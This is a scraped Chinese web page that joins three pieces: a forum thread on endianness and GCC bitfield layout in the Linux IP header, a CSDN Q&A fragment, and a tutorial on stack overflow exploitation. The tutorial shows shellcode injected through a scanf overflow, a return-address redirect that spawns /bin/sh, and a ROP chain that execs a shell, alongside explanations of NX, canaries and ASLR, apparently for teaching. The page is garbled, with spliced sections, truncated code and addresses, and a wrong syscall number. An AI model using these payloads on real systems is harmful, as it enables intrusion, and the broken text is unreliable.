大端和小端小端问题和栈有关系么还有一个main函数里定义的变量地址是连续的么

& GCC结构位段定义时,大端小端有影响吗?
声明: 本页内容为的内容镜像,文章的版权以及其他所有的相关权利属于和相应文章的作者,如果转载,请注明文章来源及相关版权信息。
(finished)
(finished)
(finished)
GCC结构位段定义时,大端小端有影响吗?
[ | 1,031 byte(s)]
[ | 192 byte(s)]
[ | 418 byte(s)]
[ | 882 byte(s)]
[ | 2,409 byte(s)]
[ | 1,112 byte(s)]
[ | 578 byte(s)]
[ | 145 byte(s)]
[ | 409 byte(s)]
[ | 115 byte(s)]
这是linux对IP头的定义 /usr/include/linux/ip.h 或
linux/include/linux/ip.h)
struct iphdr {
#if __BYTE_ORDER == __LITTLE_ENDIAN
uint8_t ihl:4,
version:4;
#elif __BYTE_ORDER == __BIG_ENDIAN
uint8_t version:4,
/*The options start here. */
版本号和首部长度是同一个字节的,这也要区分大端小端吗?我一直以为大端小端是字节间顺序的问题,不是字节内部位顺序的问题。网络数据发送时是字节流还是位流?发送时uint16_t和uint32_t的高字节必需先发送,那么同一字节的高位先发送还是低位?我找不到gcc讲结构位定义的文档,有链接么?
不好意思,搜索工作做的不够好:(不过说实话,我还不是很确信,有没有权威的文档?
祝你的kernalchina越办越兴旺:)
栈分配的时候,little-endian从高地址往低地址的,但是结构里是先定义的地址小,那个结构里tos地址比tot_len小,ihl处于低位所以要先定义,那么在big-endian上栈也是从高到低的吗?结构里先定义的地址大吗?
这个和栈有什么关系?
不管是在哪里(栈或堆,或其他),分配一个结构都是一个原则。
对于一个结构内的各个成员,不管是Big endian还是little endian,
都是从小地址到大地址依次分配结构成员的,先定义的结构成员放在小地址。
只有结构成员的大小超过1个字节,才存在这几个字节如何摆放的问题,此时依据endian就各自不同了。
同理,在一个字节内部的域的分配,也和endian有关系。
下面一段释你给的链接里有个人的解释:
只有硬件才考虑位序,软件是不需要管的,软件需要考虑的是位域顺序,即两个连续位域谁在高谁在低。
至于在C语言实现中,大尾数CPU的位域从高到低排,小尾数CPU的位域从低到高排,因为这是唯一合理的布局方案。
比如结构:
struct S {
位域a肯定占据第一个字节的4位,b占据第一字节剩余的4位,c只能在第二个字节。
访问位域时,一般都是读出一个整数,再通过移位掩码的得到所要的位域值。
对于大尾数CPU,a相对于c处于高位(因为在不同字节),按照一致性原则,a相对于b也应该位于高位。
同理小尾数CPU应该反过来排列。
但是不管怎么排列,位域中的位是不需要颠倒的。
如果按照他的说法,按照一致性原则,big endian的时候,version岂不是要在ihl的地位?
& 如果按照他的说法,按照一致性原则,big endian的时候,version岂不是要在ihl的地位?
version先定义的,应该在高位啊,即most significant 4 bits。
可以这样来解释,
1)从道理上来说,little endian中的位应该这样排列:
即排在前面的是低位。因此,先分配least significant bits
2)而在Big endian中,位应该这样排列:
即排在前面的是高位。因此,先分配most significant bits。
可以这样来理解,
1)在Big Endian的情况下,"排在前面的是高位"
a. 对于顺序的两个字节来说,第一个字节是高位(排在前面),第二个字节是低位(排在后面)。
b. 对于字节内部的位来说,
-------most significant bits排在前面,是高位,
-------least significant bits排在后面,是低位。
2)在Little Endian的情况下,"排在前面的是低位"
a. 对于顺序的两个字节来说,第一个字节是低位(排在前面),第二个字节是高位(排在后面)。
b. 对于字节内部的位来说,
-------least significant bits排在前面,是低位,
-------most significant bits排在后面,是高位。
这样,在对struct中的成员进行分配的时候,"按排列顺序分配,先分配排在前面的"
1)big endian从高位向低位分配,
a. 对字节,是先分配低地址的字节,再分配高地址的字节。
b. 对位域,先分配most significant bits,再分配least significant bits。
1)little endian从低位向高位分配,
a. 对字节,是先分配低地址的字节,再分配高地址的字节。
b. 对位域,先分配least significant bits,再分配most significant bits。
======================================
以上说的都是分配的顺序。
对于IP协议来说,
1)IP's byte order is big endian.
2)The bit endianness of IP inherits that of the CPU,
3)and the NIC takes care of converting it from/to the bit transmission/reception order on the wire.
并且,按照IP协议,
1)"version" is the most significant four bits of the first byte of an IP header.
2)"ihl" is the least significant four bits of the first byte of the IP header.
也就是说,version必须分配在most significant four bits,
按照上面说的分配顺序,在big endian中,version必须放在前面。
#include &stdio.h&
int main()
struct bitfield {
field.ia=4;
field.ib=2;
field.ic=2;
c=(char *) &
printf("%d
&在对struct中的成员进行分配的时候,"按排列顺序分配,先分配排在前面的"
struct 排列成 100 10 010
&1)little endian从低位向高位分配,
&b. 对位域,先分配least significant bits,再分配most significant bits。
按照字面上理解,分配后成 010 01 001 () 实际上是 010 10 100
所以:先分配 least significant 3 bits,再分配middle 2 bits,最后分配most significant 3 bits。
就像这样:
&1)"version" is the most significant 4 bits of the first byte of an IP header.
&2)"ihl" is the least significant 4 bits of the first byte of the IP header.
july is hot...
& 所以:先分配 least significant 3 bits,再分配middle 2 bits,最后分配most significant 3 bits。
我不就是这个意思吗?
所谓的“对位域,先分配least significant bits,再分配most significant bits”
并不是说分配是bit by bit的,而是根据结构的定义,以结构成员为单位,一组一组地,依次分配到位组。
ia=100排在最前面,因此作为一组,分配到least significant 3 bits,
ib=10排在中间,因此作为一组,分配到接下来的middle 2 bits,
ic=010排在最后面,因此作为一组,分配到most significant 3 bits。
谢了,我好像有点明白了,一开始搞错了,以为big endian的时候先分配的在高地址了。应该是先分配的most significant bytes/bits还是在低地址的。
输入您的搜索字词
提交搜索表单
unixresources.net
Copyright &
UNIX Resources Network, All Rights Reserved.
About URN | Privacy & Legal | Help | Contact us
webmaster:
This page created on
16:43:30, cost 0.8 ms.没有更多推荐了,
不良信息举报
举报内容:
STM32 大小端模式 与 堆栈及其增长方向分析
举报原因:
原文地址:
原因补充:
最多只允许输入30个字
加入CSDN,享受更精准的内容推荐,与500万程序员共同成长!20:48 提问
大端小端的存储问题,牵涉到数组和指针,C语言
int main()
printf("%x\n",a);
若下面程序运行结果为bfae4d68,a[0]以大端模式如何存储,以小端模式如何存储,请用内存结构示意图表示。
有点不太了解它的内存方式
按赞数排序
----------------------同志你好,我是CSDN问答机器人小N,奉组织之命为你提供参考答案,编程尚未成功,同志仍需努力!
我不知道他们的内存到底是如何分配的
比如是一个字节,内存中八位,大端的话, 是指数据的低位保存在内存的高地址中,而数据的高位,保存在内存的低地址中,比如1234,那内存中是3412,小端正好相反
哦,我好像明白了后面的*p什么的完全是误导,a[0]以大端模式存储的话就是bf ae 4d 68 小端是68 4d ae bf?
哦,我好像明白了后面的*p什么的完全是误导,a[0]以大端模式存储的话就是bf ae 4d 68 小端是68 4d ae bf?
笔者这段C程序有问题吧。。首先,i变量未定义;其次,C中数组大小为常量;最后printf语句在*p操作之前 , *p操作没有用处,只是调试时看下值。。
给你看个帖子,我刚刚碰到的面试题,腾讯还是百度的忘了:
准确详细的回答,更有利于被提问者采纳,从而获得C币。复制、灌水、广告等回答会被删除,是时候展现真正的技术了!
其他相关推荐栈溢出攻击及防护方法简介 - 简书
栈溢出攻击及防护方法简介
如果你学的第一门程序语言是C语言,那么下面这段程序很可能是你写出来的第一个有完整的 “输入---处理---输出” 流程的程序:
#include &stdio.h&
int main() {
char name[64];
printf("What's your name?");
scanf("%s", name);
printf("Hello, %s!\n", name);
也许这段小程序给你带来了小小的成就感,也许直到课程结束也没人说这个程序有什么不对,也许你的老师在第一时间就指出这段代码存在栈溢出的漏洞,也许你后来又看到无数的文章指出这个问题同时强调千万要慎用scanf函数,也许你还知道stackoverflow是最好的程序员网站。。。
但可能从来没有人告诉你,什么是栈溢出、栈溢出有什么危害、黑客们可以利用栈溢出来进行什么样的攻击,还有你最想知道的,他们是如何利用栈溢出来实现攻击的,以及如何防护他们的攻击。
本文将一一为你解答这些问题。
1. 准备工具及知识
你需要准备以下工具:
一台64位Linux操作系统的x86计算机(虚拟机也可)
gcc编译器、gdb调试器以及nasm汇编器(安装命令:sudo apt-get install build-essential gdb nasm)
本文中所有代码均在Debian8.1(amd64)、gcc4.9.2、gdb7.7.1和nasm2.11.05以下运行通过,如果你使用的版本不一致,编译选项和代码中的有关数值可能需要根据实际情况略作修改。
你需要具备以下基础知识:
熟练使用C语言、熟悉gcc编译器以及Linux操作系统
熟悉x86汇编,熟练使用mov, push, pop, jmp, call, ret, add, sub这几个常用命令
了解函数的调用过程以及调用约定
考虑到大部分学校里面使用的x86汇编教材都是32位、windows平台下的,这里简单介绍一下64位Linux平台下的汇编的不同之处(如果你已熟悉Linux下的X86-64汇编,那你可以跳过以下内容,直接阅读第2节):
第一个不同之处在于寄存器,64位的寄存器有rax, rbx, rcx, rdx, rsi, rdi, rsp, rbp, rip等,对应32位的eax, ebx, ecx, edx, esi, edi, esp, ebp, eip,另外64位cpu中增加了r9, r10, ..., r15寄存器。
第二个不同之处在于函数的调用约定,x86-32位架构下的函数调用一般通过栈来传递参数,而x86-64位架构下的函数调用的一般用rdi,rsi,rdx,rcx,r8和r9寄存器依次保存前6个整数型参数,浮点型参数保存在寄存器xmm0,xmm1...中,有更多的参数才通过栈来传递参数。
第三个不同之处在于Linux系统特有的系统调用方式,Linux提供了许多很方便的系统调用(如write, read, open, fork, exec等),通过syscall指令调用,由rax指定需要调用的系统调用编号,由rdi,rsi,rdx,r10,r9和r8寄存器传递系统调用需要的参数。Linux(x64)系统调用表详见 。
Linux(x64)下的Hello world汇编程序如下:
[section .text]
global _start
mov rax, 1 the system call for write ("1" for sys_write)
mov rdi, 1 file descriptor ("1" for standard output)
mov rsi, M string's address
mov rdx, 12 string's length
mov rax, 0x3 the system call for exit("0x3c" for sys_exit)
mov rdi, 0 exit code
DB "Hello world!"
将以上代码另存为hello-x64.asm,再在终端输入以下命令:
$ nasm -f elf64 hello-x64.asm
$ ld -s -o hello-x64 hello-x64.o
$ ./hello-x64
Hello world!
将编译生成可执行文件hello-x64,并在终端输出Hello world!。
另外,本文所有汇编都是用intel格式写的,为了使gdb显示intel格式的汇编指令,需在home目录下新建一个.gdbinit的文件,输入以下内容并保存:
set disassembly-flavor intel
set disassemble-next-line on
2. 经典的栈溢出攻击
现在回到最开始的这段程序:
#include &stdio.h&
int main() {
char name[64];
printf("What's your name?");
scanf("%s", name);
printf("Hello, %s!\n", name);
将其另存为victim.c,用gcc编译并运行:
$ gcc victim.c -o victim -zexecstack -g
$ ./victim
What's your name?Jack
Hello, Jack!
上面的编译选项中-g表示输出调试信息,-zexecstack的作用后面再说。先来仔细分析一下源程序,这段程序声明了一个长度为64的字节型数组,然后打印提示信息,再读取用户输入的名字,最后输出Hello和用户输入的名字。代码似乎没什么问题,name数组64个字节应该是够了吧?毕竟没人的姓名会有64个字母,毕竟我们的内存空间也是有限的。但是,往坏处想一想,没人能阻止用户在终端输入100甚至1000个的字符,当那种情况发生时,会发生什么事情?name数组只有64个字节的空间,那些多余的字符呢,会到哪里去?
为了回答这两个问题,需要了解程序运行时name数组是如何保存在内存中的,这是一个局部变量,显然应该保存在栈上,那栈上的布局又是怎样的?让我们来分析一下程序中的汇编指令吧,先将目标程序的汇编码输出到victim.asm文件中,命令如下:
objdump -d victim -M intel & victim.asm
然后打开victim.asm文件,找到其中的main函数的代码:
0576 &main&:
48 83 ec 40
bf 44 06 40 00
edi,0x400644
b8 00 00 00 00
e8 b3 fe ff ff
400440 &printf@plt&
48 8d 45 c0
rax,[rbp-0x40]
bf 56 06 40 00
edi,0x400656
b8 00 00 00 00
e8 cd fe ff ff
400470 &__isoc99_scanf@plt&
48 8d 45 c0
rax,[rbp-0x40]
bf 59 06 40 00
edi,0x400659
b8 00 00 00 00
e8 87 fe ff ff
400440 &printf@plt&
b8 00 00 00 00
可以看出,main函数的开头和结尾和32位汇编中的函数几乎一样。该函数的开头的 mov rbp, sub rsp, 0x40,先保存rbp的数值,再令rbp等于rsp,然后将栈顶指针rsp减小0x40(也就是64),相当于在栈上分配长度为64的空间,main函数中只有name一个局部变量,显然这段空间就是name数组,即name的起始地址为rbp-0x40。再结合函数结尾的 ret,同时类比一下32位汇编中的函数栈帧布局,可以画出本程序中main函数的栈帧布局如下(请注意下图是按栈顶在上、栈底在下的方式画的):
+-------------+
+-------------+
name(-0x40)--& +-------------+
+-------------+
+-------------+
+-------------+
rbp(+0x00)--& +-------------+
(+0x08)--& +-------------+ &--rsp points here just before `ret`
+-------------+
+-------------+
+-------------+
rbp即函数的栈帧基指针,在main函数中,name数组保存在rbp-0x40~rbp+0x00之间,rbp+0x00处保存的是上一个函数的rbp数值,rbp+0x08处保存了main函数的返回地址。当main函数执行完leave命令,执行到ret命令时:上一个函数的rbp数值已重新取回至rbp寄存器,栈顶指针rsp已经指向了保存这个返回地址的单元。之后的ret命令会将此地址出栈,然后跳到此地址。
现在可以回答刚才那个问题了,如果用户输入了很多很多字符,会发生什么事情。此时scanf函数会读取第一个空格字符之前的所有字符,然后全部拷贝到name指向的地址处。若用户输入了100个“A”再回车,则栈会是下面这个样子:
+-------------+
+-------------+
name(-0x40)--& +-------------+
+-------------+
+-------------+
+-------------+
rbp(+0x00)--& +-------------+
| (should be "old rbp")
(+0x08)--& +-------------+ &--rsp points here just before `ret`
| (should be "ret rip")
+-------------+
+-------------+
+-------------+
也就是说,上一个函数的rbp数值以及main函数的返回地址全部都被改写了,当执行完ret命令后,cpu将跳到0x4141("AAAAAAAA")地址处,开始执行此地址的指令。
在Linux系统中,0x4141是一个非法地址,因此程序会出错并退出。但是,如果用户输入了精心挑选的字符后,覆盖在这里的数值是一个合法的地址呢?如果这个地址上恰好保存了用户想要执行的恶意的指令呢?会发生什么事情?
以上就是栈溢出的本质,如果程序在接受用户输入的时候不对下标越界进行检查,直接将其保存到栈上,用户就有可能利用这个漏洞,输入足够多的、精心挑选的字符,改写函数的返回地址(也可以是jmp、call指令的跳转地址),由此获取对cpu的控制,从而执行任何他想执行的动作。
下面介绍最经典的栈溢出攻击方法:将想要执行的指令机器码写到name数组中,然后改写函数返回地址为name的起始地址,这样ret命令执行后将会跳转到name起始地址,开始执行name数组中的机器码。
我们将用这种方法执行一段简单的程序,该程序仅仅是在终端打印“Hack!”然后正常退出。
首先要知道name的起始地址,打开gdb,对victim进行调试,输入gdb -q ./victim,再输入break *main在main函数的开头下一个断点,再输入run命令开始运行,如下:
$ gdb -q ./victim
Reading symbols from ./victim...done.
(gdb) break *main
Breakpoint 1 at 0x400576: file victim.c, line 3.
Starting program: /home/hcj/blog/rop/ch02/victim
Breakpoint 1, main () at victim.c:3
int main() {
=& 0x0576 &main+0&: 55
0x0577 &main+1&: 48 89 e5
0x057a &main+4&: 48 83 ec 40 sub
此时程序停留在main函数的第一条指令处,输入p &name[0]和x/gx $rsp分别查看name的起始指针和此时的栈顶指针rsp。
(gdb) p &name[0]
$1 = 0x7fffffffe100 "\001"
(gdb) x/gx $rsp
0x7fffffffe148: 0x00007ffff7a54b45
得到name的起始指针为0x7fffffffe100、此时的栈顶指针rsp为0x7fffffffe148,name到rsp之间一共0x48(也就是72)个字节,这和之前的分析是一致的。
下面来写指令的机器码,首先写出汇编代码:
[section .text]
global _start
mov rax, 1
mov rdi, 1
mov rdx, 5
mov rax, 0x3c
mov rdi, 0
call BEGIN
DB "Hack!"
这段程序和第一节的Hello-x64基本一样,不同之处在于巧妙的利用了call BEGIN和pop rsi获得了字符串“Hack”的地址、并保存到rsi中。将以上代码保存为shell.asm,编译运行一下:
$ nasm -f elf64 shell.asm
$ ld -s -o shell shell.o
然后用objdump程序提取出机器码:
$ objdump -d shell -M intel
0080 &.text&:
b8 01 00 00 00
bf 01 00 00 00
ba 05 00 00 00
b8 3c 00 00 00
bf 00 00 00 00
e8 dd ff ff ff
rex.W (bad)
movsxd ebp,DWORD PTR [rbx+0x21]
以上机器码一共42个字节,name到ret rip之间一共72个字节,因此还需要补30个字节,最后填上name的起始地址0x7fffffffe100。main函数执行到ret命令时,栈上的数据应该是下面这个样子的(注意最后的name起始地址需要按小端顺序保存):
name(0x7fffffffe100)--& +---------------------------------+ &---+
BEGIN--& +---------------------------------+
b8 01 00 00 00
(mov eax,0x1)
+---------------------------------+
bf 01 00 00 00
(mov edi,0x1)
+---------------------------------+
+---------------------------------+
ba 05 00 00 00
(mov edx,0x5)
+---------------------------------+
+---------------------------------+
b8 3c 00 00 00
(mov eax,0x3c) |
+---------------------------------+
bf 00 00 00 00
(mov edi,0x0)
+---------------------------------+
END-& +---------------------------------+
e8 dd ff ff ff
(call BEGIN)
+---------------------------------+
48 61 63 6b 21
(0x7fffffffe12a)--& +---------------------------------+
rsp(0x7fffffffe148)--& +---------------------------------+
00 e1 ff ff ff 7f 00 00
+---------------------------------+
上图中的栈上的所有字节码就是我们需要输入给scanf函数的字符串,这个字符串一般称为shellcode。由于这段shellcode中有很多无法通过键盘输入的字节码,因此用python将其打印至文件中:
python -c 'print "\xeb\x1e\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\x5e\xba\x05\x00\x00\x00\x0f\x05\xb8\x3c\x00\x00\x00\xbf\x00\x00\x00\x00\x0f\x05\xe8\xdd\xff\xff\xff\x48\x61\x63\x6b\x21" + "\x00"*30 + "\x00\xe1\xff\xff\xff\x7f\x00\x00"' & shellcode
现在可以对victim进行攻击了,不过目前只能在gdb的调试环境下进行攻击。输入gdb -q ./victim,再输入run & shellcode:
$ gdb -q ./victim
Reading symbols from ./victim...done.
(gdb) run & shellcode
Starting program: /home/hcj/blog/rop/ch02/victim & shellcode
What's your name?Hello, ????!
Hack![Inferior 1 (process 2711) exited normally]
可以看到shellcode已经顺利的被执行,栈溢出攻击成功。
编写shellcode需要注意两个事情:(1) 为了使shellcode被scanf函数全部读取,shellcode中不能含有空格字符(包括空格、回车、Tab键等),也就是说不能含有\x10、\x0a、\x0b、\x0c、\x20等这些字节码,否则shellcode将会被截断。如果被攻击的程序使用gets、strcpy这些字符串拷贝函数,那么shellcode中不能含有\x00。(2) 由于shellcode被加载到栈上的位置不是固定的,因此要求shellcode被加载到任意位置都能执行,也就是说shellcode中要尽量使用相对寻址。
3. 栈溢出攻击的防护
为了防止栈溢出攻击,最直接和最根本的办法当然是写出严谨的代码,剔除任何可能发生栈溢出的代码。但是当程序的规模大到一定的程序时,代码错误很难被发现,因此操作系统和编译器采取了一些措施来防护栈溢出攻击,主要有以下措施。
(1) 栈不可执行机制
操作系统可以利用cpu硬件的特性,将栈设置为不可执行的,这样上一节所述的将攻击代码放在栈上的攻击方法就无法实施了。
上一节中gcc victim.c -o victim -zexecstack -g,其中的-zexecstack选项就是告诉操作系统允许本程序的栈可执行。去掉此选项再编译一次试试看:
$ gcc victim.c -o victim_nx -g
$ gdb -q ./victim_nx
Reading symbols from ./victim_nx...done.
(gdb) r & shellcode
Starting program: /home/hcj/blog/rop/ch02/victim_nx & shellcode
What's your name?Hello, ????!
Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffe100 in ?? ()
=& 0x00007fffffffe100:
0x7fffffffe120
可以看到当程序跳转到name的起始地址0x00007fffffffe100后,尝试执行此处的指令的时候发生了一个Segmentation fault,之后就中止运行了。
目前来说大部分程序都没有在栈上执行代码的需求,因此将栈设置为不可执行对大部分程序的正常运行都没有任何影响,因此Linux和Windows平台上默认都是打开栈不可执行机制的。
(2) 栈保护机制
以gcc编译器为例,编译时若打开栈保护开关,则会在函数的进入和返回的地方增加一些检测指令,这些指令的作用是:当进入函数时,在栈上、ret rip之前保存一个只有操作系统知道的数值;当函数返回时,检查栈上这个地方的数值有没有被改写,若被改写了,则中止程序运行。由于这个数值保存在ret rip的前面,因此若ret rip被改写了,它肯定也会被改写。这个数值被形象的称为金丝雀。
让我们打开栈保护开关重新编译一下victim.c:
$ gcc victim.c -o victim_fsp -g -fstack-protector
$ objdump -d victim_fsp -M intel & victim_fsp.asm
打开victim_fsp.asm找到main函数,如下:
05d6 &main&:
48 83 ec 50
64 48 8b 04 25 28 00
rax,QWORD PTR fs:0x28
48 89 45 f8
QWORD PTR [rbp-0x8],rax
48 8b 55 f8
rdx,QWORD PTR [rbp-0x8]
64 48 33 14 25 28 00
rdx,QWORD PTR fs:0x28
400641 &main+0x6b&
e8 4f fe ff ff
400490 &__stack_chk_fail@plt&
可以看到函数的开头增加了mov rax,QWORD PTR fs:0x28; mov QWORD PTR [rbp-0x8],rax,函数退出之前增加了mov rdx,QWORD PTR [rbp-0x8]; xor rdx,QWORD PTR fs:0x28; je 400641 &main+0x6b&; call 400490 &__stack_chk_fail@plt&这样的检测代码。
栈保护机制的缺点一个是开销太大,每个函数都要增加5条指令,第二个是只能保护函数的返回地址,无法保护jmp、call指令的跳转地址。在gcc4.9版本中默认是关闭栈保护机制的。
(3) 内存布局随机化机制
内存布局随机化就是将程序的加载位置、堆栈位置以及动态链接库的映射位置随机化,这样攻击者就无法知道程序的运行代码和堆栈上变量的地址。以上一节的攻击方法为例,如果程序的堆栈位置是随机的,那么攻击者就无法知道name数组的起始地址,也就无法将main函数的返回地址改写为shellcode中攻击指令的起始地址从而实施他的攻击了。
内存布局随机化需要操作系统和编译器的密切配合,而全局的随机化是非常难实现的。堆栈位置随机化和动态链接库映射位置随机化的实现的代价比较小,Linux系统一般都是默认开启的。而程序加载位置随机化则要求编译器生成的代码被加载到任意位置都可以正常运行,在Linux系统下,会引起较大的性能开销,因此Linux系统下一般的用户程序都是加载到固定位置运行的。
在Debian8.1和gcc4.9.2环境下实验,代码如下:
#include &stdio.h&
char g_name[64];
void *get_rip()
.intel_syntax noprefix\n\
mov rax, [rbp+8]\n\
.att_syntax\n\
int main()
char name[64];
printf("Address of `g_name` (Global variable): %x\n", g_name);
printf("Address of `name` (Local variable): %x\n", name);
printf("Address of `main` (User code): %x\n", main);
printf("Value of rip: %x\n", get_rip());
将以上代码另存为aslr_test.c,编译并运行几次,如下:
$ gcc -o aslr_test aslr_test.c
$ ./aslr_test
Address of `g_name` (Global variable): 600a80
Address of `name` (Local variable): d3933580
Address of `main` (User code): 400510
Value of rip: 400560
$ ./aslr_test
Address of `g_name` (Global variable): 600a80
Address of `name` (Local variable): 512cd150
Address of `main` (User code): 400510
Value of rip: 400560
可见每次运行,只有局部变量的地址是变化的,全局变量的地址、main函数的地址以及某条指令运行时刻的实际rip数值都是不变,因此程序是被加载到固定位置运行,但堆栈位置是随机的。
动态链接库的映射位置可以用ldd命令查看,如下:
$ ldd aslr_test
linux-vdso.so.1 (0x00007ffe1dd9d000)
libc.so.6 =& /lib/x86_64-linux-gnu/libc.so.6 (0xe71000)
/lib64/ld-linux-x86-64.so.2 (0xa000)
$ ldd aslr_test
linux-vdso.so.1 (0x00007ffc6a771000)
libc.so.6 =& /lib/x86_64-linux-gnu/libc.so.6 (0xc0000)
/lib64/ld-linux-x86-64.so.2 (0x69000)
可见每次运行,这三个动态链接库映射到进程aslr_test中的位置都是变化的。
4. ROP 攻击
在操作系统和编译器的保护下,程序的栈是不可运行的、栈的位置是随机的,增大了栈溢出攻击的难度。但如果程序的加载位置是固定的、或者程序中存在加载到固定位置的可执行代码,攻击者就可以利用这些固定位置上的代码来实施他的攻击。
考虑下面的代码,其中含有一个borrowed函数,作用是打开一个shell终端。
#include &stdio.h&
#include &unistd.h&
void borrowed() {
execl("/bin/sh", NULL, NULL);
int main() {
char name[64];
printf("What's your name?");
scanf("%s", name);
printf("Hello, %s!\n", name);
将以上代码另存为victim.c编译,并提取汇编码到victim.asm中,如下:
$ gcc -o victim victim.c
$ objdump -d victim -M intel & victim.asm
打开victim.asm可以查到borrowed函数的地址为0x4050b6。因此,若攻击者利用栈溢出将main函数的返回地址改写为0x4050b6,则main函数返回时会转到borrowed函数运行,打开一个shell终端,后面就可以利用终端干很多事情了。
现在来试一试吧:
$ python -c 'print "\x00"*72+"\xb6\x05\x40\x00\x00\x00\x00\x00"' & shellcode
$ cat shellcode - | ./victim
What's your name?Hello, !
victim.asm
victim.asm
victim.asm
可以看出终端被成功的打开了,并运行了ls、mkdir、rmdir命令。
注意以上攻击命令中cat shellcode - | ./victim的-是不能省略的,否则终端打开后就会立即关闭。
这个例子表明,攻击者可以利用程序自身的代码来实施攻击,从而绕开栈不可执行和栈位置随机化的防护。这个程序是一个特意构造的例子,实际的程序中当然不太可能埋一个borrowed函数这样的炸弹来等着人来引爆。但是,攻击者可以利用程序自身的、没有任何恶意的代码片段来组装出这样的炸弹来,这就是ROP攻击。
ROP攻击全称为Return-oriented programming,在这种攻击中,攻击者先搜索出程序自身中存在的跳板指令(gadgets),然后将一些跳板指令串起来,组装成一段完整的攻击程序。
跳板指令就是以ret结尾的指令(也可以是以jmp、call结尾的指令),如mov rax, 1; ret | ret。那如何将跳板指令串起来?
假如程序中在0x1234 | 0x5678 | 0x9abc地址处分别存在三段跳板指令mov rax, 10; ret | mov rbx, 20; ret | add rax, ret,且当前的rip指向的指令是ret,如果将0x1234 | 0x5678 | 0x9abc三个地址的数值放到栈上,如下:
rsp(+0x00)--&+-------------+
+-------------+&--rip
|--------+
(+0x08)--&+-------------+
+-------------+
(+0x10)--&+-------------+
+--&+-------------+&--0x1234
| mov rax, 10 |
+-------------+
+-------------+
+-------------+
+-------------+
+-------------+
+-----&+-------------+&--0x5678
| mov rbx, 20 |
+-------------+
+-------------+
+-------------+
+-------------+
+-------------+
+--------&+-------------+&--0x9abc
| add rax,rbx |
+-------------+
+-------------+
+-------------+
+-------------+
Equivalent codes:
mov rax, 10
mov rbx, 20
add rax, rbx
则执行完ret指令后,程序将跳转到0x1234,执行mov rax, 1; ret,后面这个ret指令又将跳转到0x5678...,之后再跳转到0x9abc,整个流程好像在顺序执行mov rax, 10; mov rbx, 20; add rax, rbx一样。
可见只要将这些以ret指令结尾的gadgets的地址放在栈上合适的位置,这些ret指令就会按指定的顺序一步步的在这些gadgets之间跳跃。
再看一个稍微复杂的例子:
rsp(+0x00)--&+-------------+
+-------------+&--rip
(+0x08)--&+-------------+
+-------------+
+-------------+
+--&+-------------+&--addr1
+-------------+
+-------------+
+-------------+
+-------------+
+-------------+
+-----&+-------------+&--addr2
+-------------+
+-------------+
+-------------+
+-------------+
Equivalent codes:
mov rax, 0x3b
这个例子中,跳板指令是 ret,执行完后,栈上的0x3b将pop到rax中,因此这种型式的跳板指令可以实现对寄存器的赋值。
而add rsp, 10h; ret型式的跳板指令可以模拟流程跳转,如下:
rsp(+0x00)--&+-------------+
+-------------+&--rip
|-----------+
(+0x08)--&+-------------+
+-------------+
|--------+
+-------------+
+--&+-------------+&--addr1
| add rsp,10h |
+-------------+
+-------------+
+-------------+
+-------------+
+-------------+
+-----&+-------------+&--addr2
+-------------+
+-------------+
+-------------+
+-------------+
+-------------+
+--------&+-------------+&--addr3
+-------------+
+-------------+
+-------------+
+-------------+
+-------------+
+-----------&+-------------+&--addr4
+-------------+
+-------------+
+-------------+
+-------------+
Equivalent codes:
条件跳转甚至函数调用都可以用精心构造出的gadgets链来模拟。只要找出一些基本的gadgets,就可以使用这些gadgets来组装出复杂的攻击程序。而只要被攻击程序的代码量有一定的规模,就不难在这个程序的代码段中搜索出足够多的gadgets(注意目标程序的代码中不需要真正有这样的指令,只需要恰好有这样的指令的机器码,例如如果需要用到跳板指令 ret,只需要目标程序的代码段中含有字节码串58 C3就可以了)。
下面以实例来展示一下ROP攻击的强大,在这个例子中,将利用gadgets组装出程序,执行exec系统调用打开一个shell终端。
用exec系统调用打开一个shell终端需要的参数和指令如下:
mov rax, 0x3 system call number, 0x3b for sys_exec
mov rdi, PROG char *prog (program path)
mov rsi, 0 char **agcv
mov rdx, 0 char **env
DB "/bin/sh", 0
其中rax为系统调用编号,rdi为字符串指针、指向可执行程序的完整路径,rsi和rdx都是字符串指针数组,保存了参数列表和环境变量,在此处可以直接至为0。
为了增大被攻击程序的体积,以搜索到尽可能多的gadgets,在原来的代码中增加一个random函数,同时用静态链接的方式重新编译一下victim.c:
$ cat victim.c
#include &stdio.h&
#include &stdlib.h&
int main() {
char name[64];
printf("What's your name?");
scanf("%s", name);
printf("Hello, %s%ld!\n", name, random());
$ gcc -o victim victim.c -static
手工搜索目标程序中的gadgets显然是不现实的,采用JonathanSalwan编写的ROPgadget搜索,网址在这里:,可以使用pip安装:
apt-get install python-pip
pip install capstone
pip install ropgadget
安装完成后,可以使用下面的命令来搜索gadgets:
ROPgadget --binary ./victim --only "pop|ret"
搜索到程序中存在的跳板指令只是第一步。接下来需要挑选并组装gadgets,过程非常繁琐、复杂,不再叙述了。总之,经过多次尝试,最后找到了以下gadgets:
0x03f2 : pop r12 ; ret
0x18ed : pop r12 ; pop r13 ; ret
0x7318 : mov rdi, call r12
0x1b3d : ret
0x33d9 : ret
0xd371 : syscall
按下图的方式拼装gadgets,图中的‘+’号旁边的数字0、1、2、...、13表示攻击程序执行过程中rip和rsp的移动顺序。
name--&+--------------------+
+--------------+0&--rip
| "\x00"*72
rsp--&0+--------------------+
+--------------+
| 0x03f2 |-----------------------+
1+--------------------+
+--&+--------------+1
| 0x18ed |---------------------+
2,5+--------------------+
+--------------+2
| 0x7318 |------------------+
3,4,6+--------------------+
+--------------+
| "/bin/sh\x00"
7+--------------------+
+----&+--------------+5
| 0x1b3d |--------------+
8+--------------------+
+--------------+6
| 0x003b |
9+--------------------+
+--------------+7
| 0x33d9 |-----------+
10+--------------------+
+--------------+
| 0x0000 |
11+--------------------+
+-------&+--------------+3
| 0x0000 |
| mov rdi, rsp |
12+--------------------+
+--------------+4
| 0xd371 |-------+
| call r12
13+--------------------+
+--------------+
+-----------&+--------------+8
+--------------+9
+--------------+
+--------------&+--------------+10
+--------------+11
+--------------+12
+--------------+
+------------------&+--------------+13
+--------------+
为了将大端顺序的地址数值转换为小端顺序的字符串,编写了一个python程序gen_shellcode.py来生成最终的shellcode:
# &&& s= long2bytes(0x5c4)
# '\xc4\x05\x00\x00\x00\x00\x00\x00'
def long2bytes(x):
ss = [""] * 8
for i in range(8):
ss[i] = chr(x & 0xff)
return "".join(ss)
print "\x00"*72 + \
long2bytes(0x4003f2) + \
